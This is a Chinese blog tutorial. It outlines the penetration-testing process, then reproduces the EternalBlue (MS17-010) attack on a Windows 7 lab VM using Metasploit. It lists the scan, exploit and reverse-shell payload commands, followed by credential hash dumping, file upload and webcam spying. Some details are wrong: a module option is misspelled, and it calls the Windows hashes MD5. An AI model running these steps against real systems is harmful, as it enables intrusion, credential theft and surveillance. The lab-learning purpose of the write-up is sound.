渗透测试基础之永恒之蓝漏洞复现

2024-03-25 11:10

本文主要是介绍渗透测试基础之永恒之蓝漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

                渗透测试+MS17-010(永恒之蓝)的漏洞复现

目录

                渗透测试+MS17-010(永恒之蓝)的漏洞复现

目录

前言

思维导图 

1,渗透测试 

1,1,什么是渗透测试?

1.2,渗透测试的分类:

1.3,渗透测试的流程

1.3.1,前期交互

1.3.2,情报收集

1.3.3,威胁建模

1.3.4,漏洞分析

1.3.5,漏洞验证 

1.3.6,渗透攻击

1.3.7,后渗透

1.3.8,信息整理

1.3.9,报告编写和提交

2,MS17-010(永恒之蓝)漏洞复现

永恒之蓝漏洞介绍

2.1,攻击前环境

2.2,渗透所需的工具

2.3,切换为管理员

2.4,进行链接测试 

2.5,进行信息收集

2.5.1,使用Nmap进行端口扫描

2.5.2,获取主机系统版本等信息

2.6,通过命令启动Metasploit

2.7,搜查漏洞模块

2.7.1,搜索模块

2.7.2,使用模块前需知信息 

2.8,检查漏洞是否可利用

2.9,执行模块

3,开始进行攻击

3.1,切换攻击模块

3.1,切换攻击模块

3.3,查看攻击模块配置信息

3.4,设置模块的必要信息

3.5,检查配置信息是否设置完毕

3.6,进行攻击

4,攻击成功后,我们可以对目标主机做什么

4.1,查看靶机当前页面

4.2, 上传文件到Windows主机

4.3 ,拿到shell执行权限

4.4,通过shell权限获取win7电脑的账号密码

5,总结


前言

   对于当下来说我们使用的电脑大多是win11或是win10,还是有很多政府和公司,或是学校中使用的系统还停留在win7系统.

       今天是我进行渗透测试的第一次实战,通过永恒之蓝漏洞利用对win7系统进行渗透

当然也会对渗透测试的流程进行一个详细的介绍.

   渗透测试的流程信息较为详细,内容较多,如果想看实战流程,直接通过目录选择想看的部分

思维导图 

1,渗透测试 

1,1,什么是渗透测试?

        渗透测试(Penetration Testing)是指专业的安全测试人员模拟黑客攻击的行为,对目标系统进行主动攻击测试的过程。通过模拟攻击,渗透测试帮助企业评估其系统或网络的安全性,发现潜在的安全漏洞和弱点,从而提供相应的防护措施和改进建议。渗透测试的目的是帮助组织发现和修复系统中的安全漏洞,以提升安全性和防御能力。

1.2,渗透测试的分类:

  1. 白盒测试(会给出你源码,让你去做代码审计,或是给出你一些需要渗透的信息等)
  2. 黑盒测试(直接给你个目标,去吧)
  3. 灰盒测试(上面两种都有结合)

1.3,渗透测试的流程

1.3.1,前期交互

      与客户沟通,了解测试目标、范围和要求,并明确测试的目的和约束条件。

范围确认:

  • 测试目标范围:确认要测试的具体系统或网络范围,例如某个特定的IP地址段、特定的域名或子域名。
  • 内外网范围:确定测试目标在内部网络还是外部网络中,或者同时进行内外部测试。

规则确认:

  • 渗透程度:明确测试的深度和限制,例如是否允许尝试提权、获取敏感信息等。
  • 时间限制:确定渗透测试的时间框架,包括开始和结束时间。
  • 其他规则:根据具体情况,确认是否需要遵守特定的法规、合规要求或安全政策。

需求确认:

  • WEB应用漏洞:如果目标是WEB应用程序,确定要测试的漏洞类型,如常见的SQL注入、跨站脚本等。
  • 业务逻辑漏洞:针对具体的业务流程和逻辑,确认是否需要测试业务流程中的安全问题,如逻辑漏洞、越权操作等。
  • 人员权限管理漏洞:确认是否需要评估人员权限管理方面的漏洞,如弱密码、权限提升等问题。

通过明确范围、规则和需求,可以更加具体地定制渗透测试,确保测试按预期进行,并找出系统中的潜在安全风险。

1.3.2,情报收集

  使用各种技术和工具,收集有关目标系统的信息,包括网络拓扑、开放端口、服务识别等等。

方式:

  • 主动扫描:使用专业的漏洞扫描工具对目标系统进行扫描,以发现已知的漏洞和弱点。
  • 开放搜索:利用搜索引擎,如Google等,搜索目标系统可能泄露的后台、未授权页面和敏感URL等信息。

基础信息:

  • 真实IP:确定目标系统的真实IP地址。
  • 网段:确定目标系统所在的网段范围。
  • 域名:确认目标系统的域名和相关子域名。
  • 端口:扫描目标系统的开放端口,确定系统暴露的服务和应用。

系统信息:

  • 操作系统版本:获取目标系统的操作系统及其版本信息。

应用信息:

  • 确认各个端口所运行的应用,如WEB应用、邮件应用等。

版本信息:

  • 收集探测到的应用、服务和系统的具体版本信息。

人员信息:

  • 域名注册人员信息:通过WHOIS查询等方式,获取目标域名的注册人员信息。
  • WEB应用中的人员信息:探测网站中公开的信息,如发帖人的ID、管理员姓名等。

防护信息:

  • 尝试识别目标系统是否有部署防护设备,例如防火墙、入侵检测系统等。

1.3.3,威胁建模

根据目标系统的情况,分析潜在的威胁和攻击路径,制定针对具体目标的渗透测试策略。

在搜集到充分的情报信息之后,渗透测试团队的成员们会停下手上的键盘工作,聚集在一起,共同进行威胁建模与攻击规划。这一步骤是非常关键的,但往往容易被忽视。通过团队共同的缜密情报分析与攻击思路头脑风暴,可以从大量的信息情报中理清头绪,确定出最可行的攻击通道和策略。

在威胁建模过程中,团队成员需要仔细分析收集到的情报信息,包括系统架构、漏洞扫描结果、权限控制机制等。我们需要共同讨论可能存在的威胁,并对这些威胁进行分类和评估,以确定对目标系统构成最大风险的威胁。

同时,在攻击规划阶段,团队成员需要交流自己的攻击思路和创新的攻击方法。我们会针对不同的威胁和攻击路径,共同讨论最合适的渗透测试方法和工具。这也包括确定攻击的先后顺序,以及如何最大程度地模拟真实攻击者的行为。

通过团队的协同努力和专业知识的共享,威胁建模与攻击规划阶段能够帮助团队成员更加全面地理解目标系统的弱点和潜在风险。我们可以在团队讨论的基础上做出决策,确定最佳的攻击路径,并采取措施保障测试的成功进行。

前面的做法能帮助团队明确目标、确定策略,并为后续的攻击活动提供明确的方向。团队成员的共同努力与思维碰撞将有助于发现更多攻击路径和潜在的安全隐患,以全面提高测试的质量和效果。

1.3.4,漏洞分析

使用漏洞扫描器、手工测试等方法,发现目标系统存在的可能漏洞,包括软件漏洞、配置错误、不安全的访问控制等。

方法:

  1. 使用漏洞扫描工具:使用专业的漏洞扫描工具,例如Acunetix Web Vulnerability Scanner (AWVS)、IBM AppScan等,对目标系统进行自动化漏洞扫描,以发现已知的漏洞和弱点。

  2. 利用已知利用和EXP:结合自动化扫描结果,渗透测试团队可能会去漏洞利用数据库(如exploit-db)等网站寻找已知的利用脚本(Exploit),以尝试利用系统中发现的漏洞。

  3. 在网上寻找验证POC:团队会在各种论坛、博客和漏洞验证平台上搜索并验证来自其他安全研究人员或白帽黑客分享的验证POC(Proof of Concept),以确认系统存在的漏洞的可利用性。

内容:

  1. 系统漏洞:渗透测试团队将关注目标系统是否有未及时打补丁的漏洞,这些漏洞可能是由于未应用最新的安全补丁所导致的。

  2. Web服务器漏洞:测试团队会仔细检查Web服务器的配置问题,例如默认凭据、目录遍历、不安全的文件上传等,这些问题可能会导致安全漏洞。

  3. Web应用漏洞:渗透测试团队会专注于Web应用开发过程中可能存在的问题,如SQL注入、跨站脚本(XSS)、跨站请求伪造(CSRF)等。

  4. 其他端口服务漏洞:除了Web服务,渗透测试团队还会检查目标系统开放的其他端口所提供的服务中是否存在漏洞,例如数据库服务、邮箱服务等。

  5. 通信安全:团队会关注目标系统的通信协议和加密机制,检查是否存在弱密码、明文传输等通信安全问题。

1.3.5,漏洞验证 

       对于扫描结果中的漏洞,进行手工验证和尝试利用,确认其真实性和危害程度。

  1. 自动化验证:结合使用漏洞扫描工具提供的扫描结果和报告,团队可以自动化地验证系统中存在的漏洞和弱点。这些工具可以自动扫描并识别出潜在的漏洞,以协助测试团队进行后续验证和攻击模拟。

  2. 手动验证:基于公共资源、知识库和安全研究人员的分享,渗透测试团队会手动验证系统中可能存在的漏洞和安全问题。这包括根据漏洞描述和POC(Proof of Concept)验证脚本,手动进行系统的安全检查和漏洞利用尝试。

  3. 试验验证:为了更加真实地模拟攻击环境和验证漏洞的利用效果,渗透测试团队可能会自己搭建模拟环境,例如虚拟机环境或网络隔离环境,来进行漏洞验证和攻击模拟。这样可以在不影响真实环境的前提下,进行更深入的测试和实验。

  4. 登录猜解:在一些情况下,渗透测试团队可能会尝试猜解登录账号和密码等信息,以验证系统是否存在弱密码或易受密码破解攻击的风险。

  5. 业务漏洞验证:除了技术漏洞,渗透测试团队还会验证系统中的业务漏洞。这包括针对业务逻辑、权限控制和数据输入等进行验证,以确保系统在业务层面上的安全性。

1.3.6,渗透攻击

  利用已发现的漏洞,尝试获取足够的权限以深入系统,获取敏感信息、访问目标系统资源等,模拟真实攻击者的行为。

  1. 精准打击:在探测到漏洞后,可以准备相应的漏洞利用工具或利用脚本,以进行有针对性的攻击。

  2. 绕过防御机制:在渗透测试中,可能会遇到防火墙和其他安全设备。为了绕过这些防御机制,渗透测试团队可以使用多种技术和方法,如使用代理、隧道、欺骗等来规避防御。

  3. 定制攻击路径:渗透测试团队会根据系统的薄弱入口、高内网权限位置和最终目标,制定最佳的攻击路径和策略。这通常需要综合考虑目标系统的结构、业务流程和安全措施。

  4. 绕过检测机制:在执行渗透测试时,可能会遇到流量监控、杀毒软件、恶意代码检测等安全机制。为了绕过这些检测机制,渗透测试团队可以采取各种方法,如使用加密通信、改变攻击载荷、使用免杀工具等。

  5. 攻击代码:渗透测试团队有时会尝试编写特定的攻击代码,以测试系统的安全性。这可能包括不限于XSS代码、SQL注入语句等。

1.3.7,后渗透

在成功渗透进入系统后,进一步探测目标系统的内部网络、系统架构,寻找更深层次的漏洞、权限提升以及横向移动的可能性。

  1. 实施攻击:根据之前的探测和验证结果,渗透测试团队可以执行相应的攻击,以模拟潜在的黑客行为。这可能包括利用漏洞、执行代码、获取特权访问等等。在进行渗透测试时,必须遵守法律和道德规范,并仅在授权的环境中进行测试。

  2. 获取内部信息:在渗透测试中,渗透测试团队可能会尝试获取关于目标基础设施的信息,如网络连接、路由器配置、网络拓扑等。这有助于了解目标系统的整体环境和安全性。

  3. 进一步渗透:一旦在内部网络中获得访问权限,渗透测试团队会进一步渗透和探测敏感目标,如数据库、关键系统等。这有助于评估内网安全性和潜在的横向移动能力。

  4. 持续性存在:一般情况下,渗透测试并不涉及创建持久性的存在。然而,为了模拟真实的攻击,渗透测试团队可能会尝试安装 rootkit、后门、添加管理账号等技术手段。

  5. 清除痕迹:在渗透测试过程中,渗透测试团队可能会删除相关操作和访问日志、上传的文件等,以尽量减少对目标系统的影响和留下痕迹。

1.3.8,信息整理

信息整理是对整个渗透测试过程中收集的各种数据、结果和发现进行梳理、整理和归档的过程。

  1. 整理渗透工具: 渗透测试过程中使用各种工具、代码、POC(Proof of Concept,概念验证)和EXP(Exploit,漏洞利用程序)来扫描、探测、攻击目标系统。整理这些工具和相关资料可以帮助渗透测试团队更好地管理和使用资源。

  2. 整理收集信息: 渗透测试过程中,渗透测试团队会收集各种关于目标系统的信息,包括网络拓扑、IP地址、开放端口、服务版本、用户信息等等。整理和记录这些信息可以使渗透测试结果更加全面和可靠。

  3. 整理漏洞信息: 在渗透测试过程中,渗透测试团队可能会发现各种漏洞和脆弱位置信息,如SQL注入、跨站脚本漏洞等。对这些漏洞和脆弱位置进行整理和分类,可以为最后的渗透测试报告提供清晰的结论和建议。

  4. 按需整理: 按照与客户事先确定的范围,对所有的资料和信息进行整理,以形成最终的渗透测试报告。确保整理的资料和报告满足客户的需求,并提供详细的修复建议和建议。

  5. 补充介绍: 在渗透测试报告中,对于每个漏洞的成因、验证过程和潜在危害进行分析和介绍是必要的。这有助于客户更好地理解漏洞的根本原因以及可能带来的风险。

  6. 修补建议: 渗透测试报告中应该提供关于所有发现漏洞的合理、高效而安全的修复建议。这些建议应基于安全最佳实践和相关技术要求,以帮助客户有效地解决潜在的安全问题。

1.3.9,报告编写和提交

整理渗透测试的结果成报告形式,包括测试方法、发现的漏洞、风险评估和改进建议等,并提交给客户作为参考。

  1. 封皮:报告的首页应包含渗透测试项目的名称、日期、测试团队和客户等相关信息。

  2. 重点和要求:明确报告中的重点和要求,例如测试范围、目标系统、测试目的等。

  3. 受众:考虑报告的读者是谁,不同角色的人可能会关注不同的内容,因此根据受众的不同,对报告内容进行侧重点的调整。

  4. 内容提要:在报告开始处提供一个内容提要,简要介绍渗透测试的总体结果和主要发现。

  5. 漏洞列表:报告中应列出所有发现的漏洞和脆弱点,并对其进行分类、评分和描述。建议使用简洁明了的格式,以便于读者快速获取关键信息。

  6. 渗透测试过程描述:清晰准确地描述渗透测试的步骤、工具使用和攻击过程。这有助于读者了解渗透测试的详细过程,并对发现的漏洞有更好的背景了解。

  7. 渗透测试团队成员和联系方式:报告中应包含测试团队成员的信息,包括姓名、职位和联系方式。这样可以使读者在需要进一步了解或讨论测试结果时能够与相应的团队成员取得联系。

  8. 修补建议:对于发现的漏洞,报告应提供合理且具体的修补建议。这些建议应基于安全最佳实践和相关的技术要求,以帮助客户更好地解决潜在的安全问题。

2,MS17-010(永恒之蓝)漏洞复现

永恒之蓝漏洞介绍

                                          要想好网安,实战是毕不可少的.

2.1,攻击前环境

  • 攻击机:Kali-Linux-2021 虚拟机IP: 192.168.223.138
  • 靶机:Windows7 虚拟机IP:192.168.223.137
  • 需要两台机器在同一网段下,也就是IP,地址后面最后三位会是连续的数字

            如果不知道如何去将机器在同一网段下,可以去看我之前写的一篇文章
kali,win7与winxp三系统相互pingicon-default.png?t=N7T8http://t.csdn.cn/ZpUl9

2.2,渗透所需的工具

  • Nmap 网络扫描工具(信息搜集使用)
  • Metasploit是一款开源的渗透测试框架,用于执行网络安全评估和渗透测试任务。它提供了一整套工具和资源来发现漏洞、执行攻击和验证系统的安全性。Metasploit具有丰富的模块库,包括漏洞扫描、攻击载荷生成、远程执行代码、后门安装等功能,旨在帮助安全专业人员进行安全评估和渗透测试工作。(攻击和漏洞利用使用)

2.3,切换为管理员

           首先打开kali的终端输入下面的指令,然后输入kali密码,切换至管理员权限

sudo su

2.4,进行链接测试 

                 首先我们通过 ping 192.168.223.137 -c 4 确认是主机是否与靶机相连

                            出现下面的链接信息代表主机与靶机之间可以进行互通 

2.5,进行信息收集

2.5.1,使用Nmap进行端口扫描

                                             扫描同一网段下的c类地址

nmap -T4 -A -v -Pn 192.168.223.1/24 

         我们发现对方的445端口是开放的,我们可以尝试进行ms17-010漏洞攻击

2.5.2,获取主机系统版本等信息

                           通过nmap获取靶机的版本主机版本的一些信息

nmap -sV -Pn 192.168.223.137  

          这里我们发现目标版本信息为win7,并且从这里也能看到445端口开放了 

2.6,通过命令启动Metasploit

                    进入渗透测试框架页面,注意这个页面每次进入的图画都不一样

 msfconsole

                          启动成功后我们就可以使用框架内的一些模块了 

2.7,搜查漏洞模块

2.7.1,搜索模块

                       搜索渗透测试框架里面有关ms17-010的有关模块

 search ms17-010

2.7.2,使用模块前需知信息 

                                     exploit是攻击模块,auxiliary是辅助模块

2.8,检查漏洞是否可利用

                         注意有可能模块的顺序不一致,你不一定也是使用模块三

这里我们使用模块3

use 3

展示模块的配置信息,查看需要设置的信息

show options

然后我们设置靶机的ip地址

 set rhort 192.168.223.137 

                                              查看信息是否配置完毕

2.9,执行模块

run

执行这个模块,出现下面的话,代表有这个漏洞,代表漏洞可以利用,那么解下来开始表演

                            到这里,我们已经确保这个漏洞可以利用 

3,开始进行攻击

3.1,切换攻击模块

 使用攻击模块就是下面图片中的模块

use 0

3.1,切换攻击模块

set payload windows/x64/meterpreter/reverse_tcp

3.3,查看攻击模块配置信息

show options

3.4,设置模块的必要信息

这里我们只需要设置以下两个信息即可:

设置靶机ip(win7)

set rhost 192.168.223.137

设置攻击者ip(kali)

set lhost 192.168.223.13

3.5,检查配置信息是否设置完毕

show options

                                  确保设置完毕后,我们进行下一步,也是最后一步

3.6,进行攻击

run

        进入这个页面,我们看到win这个字符代码,渗透成功了,接下来,我们就要开始整活了

             我们攻击成功后,接下来,我们要进一步对目标主机进行一些操作

4,攻击成功后,我们可以对目标主机做什么

4.1,查看靶机当前页面

                                 也就是给靶机页面截个屏,然后传回主机

screenshot

                    我们从kali主机上发现了一张从win7靶机页面截图的照片

4.2, 上传文件到Windows主机

             我们可以将主机上的一些文件或图片发送给目标主机,当然木马文件也可以

 这里后面的两个路径一个是要上传到靶机的文件地址,另一个要上传到win7的那个位置的地址

upload /home/kali/Desktop C:\

4.3 ,拿到shell执行权限

 这里我们使用getuid查看权限,我们输入getuid查看权限得知权限为管理员权限 ,然后使用shell进入win的shell页面(win的命令框界面)

getuid
shell

               我们看到有乱码,我们进行设置一下,发现乱码设置好后是不是感觉很熟悉

                             感觉熟悉就对了,这个就是win主机的命令框界面

chcp 65001

4.4,通过shell权限获取win7电脑的账号密码

                    这里我们需要先输入exit先退出win命令行,然后进行下面的操作

             我们输入下面命令获取win的账号和密码信息,前面的是用户名,后面的是密码

 hashdump

       这里发现账号密码还进行了加密,打过ctf应该清楚这种加密是通过MD5加密方式

                               然后我们通过解密网站对账号密码进行解密

                   这里我查询的是第二个用户的密码,可以看到密码为12345678

当然我们还可以打开win主机的摄像头进行摄像,或是进行拍照,当然因为我这边电脑不支持win7的驱动,我就不进行演示了 ,或是将win7主机上面的文件下载到kali主机,或是对对方的键盘进行监听

开启摄像头
webcam_list -->查看摄像头
webcam_snap -->通过摄像头拍照
webcam_stream -->通过摄像头开启视频

5,总结

通过这次的渗透测试,虽然不是对web间进行渗透测试,但是通过实战能够使我能够熟悉渗透测试的流程,当然在实践过程中也出现了很多问题,例如从kali上传文件到win主机路径出现问题,配置攻击模块时将ip地址设置错误,但在我不断的思考和尝试下,最终解决了问题,对于我的解决问题的能力也是一种提升.

每日一言

人生如一场旅行,路上会遇到各种各样的风景和人物。或许每个人都是我们人生旅途中的一位过客,有的留下深刻的足迹,有的匆匆而过。

  如果我的渗透笔记对你有用,不妨点赞收藏一下,感谢你的支持,当然也欢迎大佬给我一下建议或是对笔记中的不足进行补充,对我学习大有帮助,谢谢。  

这篇关于渗透测试基础之永恒之蓝漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/844802

相关文章

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

零基础学习Redis(10) -- zset类型命令使用

zset是有序集合,内部除了存储元素外,还会存储一个score,存储在zset中的元素会按照score的大小升序排列,不同元素的score可以重复,score相同的元素会按照元素的字典序排列。 1. zset常用命令 1.1 zadd  zadd key [NX | XX] [GT | LT]   [CH] [INCR] score member [score member ...]

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

【Linux 从基础到进阶】Ansible自动化运维工具使用

Ansible自动化运维工具使用 Ansible 是一款开源的自动化运维工具,采用无代理架构(agentless),基于 SSH 连接进行管理,具有简单易用、灵活强大、可扩展性高等特点。它广泛用于服务器管理、应用部署、配置管理等任务。本文将介绍 Ansible 的安装、基本使用方法及一些实际运维场景中的应用,旨在帮助运维人员快速上手并熟练运用 Ansible。 1. Ansible的核心概念

AI基础 L9 Local Search II 局部搜索

Local Beam search 对于当前的所有k个状态,生成它们的所有可能后继状态。 检查生成的后继状态中是否有任何状态是解决方案。 如果所有后继状态都不是解决方案,则从所有后继状态中选择k个最佳状态。 当达到预设的迭代次数或满足某个终止条件时,算法停止。 — Choose k successors randomly, biased towards good ones — Close

音视频入门基础:WAV专题(10)——FFmpeg源码中计算WAV音频文件每个packet的pts、dts的实现

一、引言 从文章《音视频入门基础:WAV专题(6)——通过FFprobe显示WAV音频文件每个数据包的信息》中我们可以知道,通过FFprobe命令可以打印WAV音频文件每个packet(也称为数据包或多媒体包)的信息,这些信息包含该packet的pts、dts: 打印出来的“pts”实际是AVPacket结构体中的成员变量pts,是以AVStream->time_base为单位的显

C 语言基础之数组

文章目录 什么是数组数组变量的声明多维数组 什么是数组 数组,顾名思义,就是一组数。 假如班上有 30 个同学,让你编程统计每个人的分数,求最高分、最低分、平均分等。如果不知道数组,你只能这样写代码: int ZhangSan_score = 95;int LiSi_score = 90;......int LiuDong_score = 100;int Zhou

c++基础版

c++基础版 Windows环境搭建第一个C++程序c++程序运行原理注释常亮字面常亮符号常亮 变量数据类型整型实型常量类型确定char类型字符串布尔类型 控制台输入随机数产生枚举定义数组数组便利 指针基础野指针空指针指针运算动态内存分配 结构体结构体默认值结构体数组结构体指针结构体指针数组函数无返回值函数和void类型地址传递函数传递数组 引用函数引用传参返回指针的正确写法函数返回数组